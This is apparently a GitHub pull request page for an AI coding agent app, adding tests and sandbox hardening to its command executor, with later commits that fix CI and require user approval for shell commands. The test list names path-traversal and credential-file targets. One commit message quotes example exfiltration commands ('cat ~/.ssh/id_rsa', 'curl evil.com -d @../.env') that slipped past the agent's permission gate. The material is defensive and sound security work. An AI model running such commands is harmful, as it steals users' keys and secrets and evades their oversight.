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feat(executor): add comprehensive test suite and security hardening for ToolExecutor - #21

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feat(executor): add comprehensive test suite and security hardening for ToolExecutor#21
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Summary

Production-grade test suite + security hardening for tools/executor.rs — the core sandbox file/command execution engine used by the agent system.

Changes

25 new tests covering all tool methods:

  • ✅ Path traversal attacks (../../../etc/passwd)
  • ✅ Absolute path sandbox escape (/etc/passwd)
  • ✅ Sensitive file detection (.env, .ssh/id_rsa, *.key, *.pem)
  • ✅ Read/write file roundtrip
  • ✅ Write file creating parent directories
  • ✅ Missing field validation (error messages)
  • ✅ Directory listing traversal protection
  • ✅ Search files with regex (valid + invalid patterns)
  • ✅ Command execution (success, invalid command, timeout)
  • ✅ Path normalization edge cases

Production code fixes:

  • Fixed 4 clippy.toml violations (unwrap/expect banned in prod):
    • is_sensitive_file(): unwrap_or(false) → proper error handling in OnceLock
    • list_dir(): unwrap_or(&canonical)map_err() with proper error message
    • search_files(): unwrap_or(&canonical)map_err() with proper error message
    • list_dir(): missing path validation → returns AppError::Validation
  • Performance fix: cached GlobSetBuilder as static OnceLock instead of rebuilding on every is_sensitive_file() call (was O(n) per call)

Why this matters

This is the file that allows AI agents to execute arbitrary commands on the user's machine. It's currently the largest service file (343 lines) with zero tests. These tests verify the security guarantees are actually enforced.

kevinnft and others added 3 commits May 12, 2026 16:20
-  — Frontend (tsc, bun build) + Backend (clippy, test)
-  — Setup guide, commit convention, code standards
-  — Vulnerability reporting process
-  — Structured bug reports
-  — Feature request template
-  — PR checklist and guidelines
- Deleted 14 stale remote branches (all features already merged to main)

Co-authored-by: Test User <test@example.com>
Improvements:
- Rust tests: error.rs (4 unit tests for AppError variants)
- Models: mod.rs (serialization test template)
- tauri.conf.json: CSP hardening (restrict sources), proper bundle targets (deb, appimage, msi, nsis)
- .editorconfig: consistent formatting across Rust/TS/MD
- rustfmt.toml: Rust formatting rules
- clippy.toml: disallow unwrap()/expect() patterns

Co-authored-by: Test User <test@example.com>
…or ToolExecutor

- Add 25 test cases covering: path traversal, sandbox escape, sensitive file detection, read/write roundtrip, directory listing, regex search, command execution, command timeout, and path normalization
- Fix clippy violations in production code:
  - Replace unwrap_or(false), unwrap_or(&canonical), unwrap_or(-1) with proper error handling in is_sensitive_file(), list_dir(), search_files(), and run_command()
  - All unwrap/expect calls now confined to #[cfg(test)] block
- Performance: cache sensitive file globset as static OnceLock instead of rebuilding on every call
- Fix missing 'path' field validation in list_dir() and search_files()
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enowdev merged commit 16e9d04 into enowdev:main May 12, 2026
kevinnft added a commit to kevinnft/enowX-Coder that referenced this pull request May 14, 2026
Fixes CI failures introduced after PR enowdev#21 merged to main.

**Frontend (TypeScript):**
- Update bun.lockb to match current dependencies
- Resolves 'lockfile had changes, but lockfile is frozen' error

**Backend (Rust):**
- Add #[allow(clippy::disallowed_methods)] for unavoidable macro-generated code:
  - serde_json::json! macro (chat_service.rs) — JSON construction from literals cannot fail
  - tauri::generate_context! macro (lib.rs) — Tauri code generation
  - tokio::runtime::Runtime::new().expect() (lib.rs) — unrecoverable failure, no meaningful recovery path
- Allow unwrap/expect in test modules (executor.rs, models/mod.rs) for test brevity

All violations were either:
1. Macro-generated code (serde_json, tauri) where .unwrap() is internal to the macro expansion
2. Test code where unwrap/expect is idiomatic
3. Unrecoverable initialization failures where panic is appropriate

Production hand-written code remains free of unwrap/expect per clippy.toml rules.

Resolves: enowdev#21 (CI failures)
kevinnft added a commit to kevinnft/enowX-Coder that referenced this pull request May 14, 2026
ToolExecutor::run_command was bypassing the path-based permission gate,
since AgentRunner::emit_permission_request_if_needed only triggered for
tools that include a "path" input. Shell commands could therefore read
or exfiltrate sensitive files (cat ~/.ssh/id_rsa, curl evil.com -d @../.env)
without ever prompting the user, undermining the sandbox hardening that
landed in PR enowdev#21.

- runner.rs: add a run_command branch that registers a permission request
  with permission_type "shell_command" and reuses the existing path field
  to display the command text.
- types/index.ts, AppShell.tsx: extend PermissionRequest type with the new
  variant.
- PermissionDialog.tsx: render a clear "wants to run a shell command"
  message for the new type.

Behavior is now: every shell command requires explicit user approval,
matching the existing UX for sensitive file and outside-sandbox access.
Yeyodra pushed a commit to Yeyodra/NovexCoder that referenced this pull request May 19, 2026
Fixes CI failures introduced after PR #21 merged to main.

**Frontend (TypeScript):**
- Update bun.lockb to match current dependencies
- Resolves 'lockfile had changes, but lockfile is frozen' error

**Backend (Rust):**
- Add #[allow(clippy::disallowed_methods)] for unavoidable macro-generated code:
  - serde_json::json! macro (chat_service.rs) — JSON construction from literals cannot fail
  - tauri::generate_context! macro (lib.rs) — Tauri code generation
  - tokio::runtime::Runtime::new().expect() (lib.rs) — unrecoverable failure, no meaningful recovery path
- Allow unwrap/expect in test modules (executor.rs, models/mod.rs) for test brevity

All violations were either:
1. Macro-generated code (serde_json, tauri) where .unwrap() is internal to the macro expansion
2. Test code where unwrap/expect is idiomatic
3. Unrecoverable initialization failures where panic is appropriate

Production hand-written code remains free of unwrap/expect per clippy.toml rules.

Resolves: enowdev/enowX-Coder#21 (CI failures)
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